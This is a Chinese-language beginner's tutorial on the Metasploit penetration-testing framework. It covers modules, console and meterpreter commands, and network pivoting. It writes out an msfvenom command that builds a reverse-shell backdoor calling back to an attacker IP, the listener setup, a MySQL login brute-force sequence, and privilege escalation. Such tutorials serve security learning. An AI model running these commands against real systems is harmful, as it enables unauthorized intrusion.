Metasploit初级篇

0x01概述

Metasploit 框架,总体由由五部分组成,它们分别是:

  1. 模块
  2. 接口
  3. 插件
  4. 功能程序
  5. 基础库文件

我们最常用的部分是模块部分。模块又可以分为辅助模块 Auxiliary、渗透攻击模块 Exploits、攻击载荷模块 Payloads、空指令模块 Nops、编码器模块 Encoders 和后渗透攻击模块 Post 模块组成。

  • 渗透攻击模块(Exploit):这是一段程序,运行起来的时候会利用目标的安全漏洞进行攻击。
  • 辅助模块(Auxiliary):这里包含了一系列的辅助支持模块,包括扫描模块、Fuzz 测试漏洞发掘模块、网络协议欺骗以及其他一些模块。
  • 编码器模块(Encoder):编码器模块通常用来对我们的攻击模块进行代码混淆,来逃过目标安全保护机制的检测。目标安全保护机制包括杀毒软件和防火墙等。
  • 攻击载荷模块(Payloads) :通常用来在成功渗透目标后建立正向和反向shell,或者执行特定的任务,如在目标机上安装一个服务。meterpreter就是一个常见的攻击载荷模块。
  • NOP 实现指令的对齐,提高渗透程序的稳定性

0x02方法

开始:启动metesploit框架

# 启动 postgreSQL 数据库,因为 Metasploit 需要使用 postgreSQL 进行数据存储
service postgresql start 
# 初始化数据库 
msfdb init 
# 启动 msfconsole,进入到操作界面 
msfconsole

命令:基础的操作

metasploit命令

  • search 关键字 搜索需要的模块
    可以先使用db_rebuild_cache命令建立查询缓存,缓存建立后查询速度会很快
  • use 模块名 使用该模块
  • show options/info 展示模块的有效选项
  • show targets 进入某个攻击模块后,使用命令可以查看攻击模块适用的系统
  • show advanced 列出所有高级配置选项
  • set/setg(setg为设置某个变量作用域为全局)
  • set autorunscript migrate -f 渗透完成后,自动迁移到另一个进程
  • save 使用setg设置全局参数后可以使用save将当前设置值保存下来,这样下次启动msf时还可以使用这些值
  • exploit(启动攻击模块)/run(启动辅助模块) -j(后台进行攻击) -z(攻击成功后不与会话进行交互) -e encoder(指定攻击载荷编码方式)
  • check 检测目标是否对选定渗透攻击存在相应安全漏洞,该模块支持check方法才有效
  • sessions -l(列出可用交互对话) -v(列出攻击时使用的漏洞) -K(kill所有会话)-u sessionID(升级一个普通shell至 meterpreter shell) -i sessionID(进入某个session中)
  • back 退回到上一级命令窗口

meterpreter命令

  • sysinfo 列出被渗透主机系统信息
  • ifconfig 列出网络接口
  • shell 获取目标主机的cmd shell
  • getuid 获取当前用户细节/getpid 获取meterpreter会话在目标主机上的进程好
  • getsystem 提升权限,获取系统权限
  • ps 列出目标主机上所有进程

msfvenom命令

  • msfvenom --list payloads 查看所有payload
  • 制作后门,根据上面的payload(假设使用反向tcp连接)
    msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.12 LPORT=6789 -f elf >yowell.elf
    上传至待攻击服务器后,运行后门,在kali下使用下面命令连接
    msf5 > use exploit/multi/handler
    msf5 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp
    msf5 exploit(multi/handler) > set lhost 192.168.1.12
    msf5 exploit(multi/handler) > set lport 6789
    msf5 exploit(multi/handler) > options
    msf5 exploit(multi/handler) > run

步骤:一次渗透操作

1、登录模块
use auxiliary/scanner/mysql/mysql_login
2、查看模块库的有效选项
show options
3、设置选项值
set RHOSTS 1.1.1.1
4、执行攻击
exploit
5、获取交互式shell
python -c "import pty; pty.spawn("/bin/bash")"

0x03技巧

1、查找对应服务版本上存在的漏洞
https://www.cvedetails.com/
2、使用数据库

  • db_status metasploit当前数据连接状态
  • db_connect 数据库名 连接至非默认数据库外的另一个数据库
  • db_nmap 结果直接保存到metasploit数据库中

    扫描完成后使用services查看服务
    hosts列出数据库中的所有主机
  • db_export 从数据库导出/db_import 导入(nessus,nmap)的结果
  • db_rebuild_cache 重新建立缓存
    3、提升效率
  • pushm/popm:应用场景 两个模块需要交替使用时,在模块1时pushm,然后切到模块2,模块2使用完后,popm,再使用模块1,模块1的配置与之前一致
  • 资源脚本:

    makesrc 脚本文件名 命令可以将之前输入过的命令都保存在一个文件中
    resource 脚本文件名 使用创建好的资源脚本
  1. 多层网络情况下
    为了使kali能访问内网多层网络场景,在获取到第一层网络权限情况下,直接通过kali连接第二层网络
  2. run autoroute -s 192.168.22.0/24 添加第二层网络路由
  3. run autoroute -p 查看路由情况
  4. use auxiliary/server/socks4a 设置代理,让攻击机访问靶机

0x04开发

  • metasploit下重要目录
    lib metasploit的核心,包含了帮助我们建立msf模块的全部重要库文件,其中两个重要的库base和core位于lib/msf/下
    modules 包含metasploit的所有模块-从扫描模块到后渗透模块
    tools 包含了所有用于辅助渗透测试的命令行程序
  • 检查ruby语法
    tools/dev/msftidy.rb 要检查的.rb
  • loadpath

    开发模块时,需要将模块放入对应的分类文件夹中,不过一
    旦metasploit更新,所有的模块都会被删除。为了摆脱该限
    制,我们可以创建一个外部目录,然后从这个目录加在模块。
    ex:我们创建一个没有目录  /mods/xxx  mods下面的目录结构与metasploit一致 
    在msf中使用 loadpath /mods 即可加载模块
    
  • reload,edit,reload_all
    在模块的开发过程中可能需要一次又一次的测试,每次修改新
    模块时都要关闭metasploit,这样十分耗时。我们可以在msf
    使用edit动态修改这些模块,并使用reload重新载入

持续更新....

你可能感兴趣的:(安全)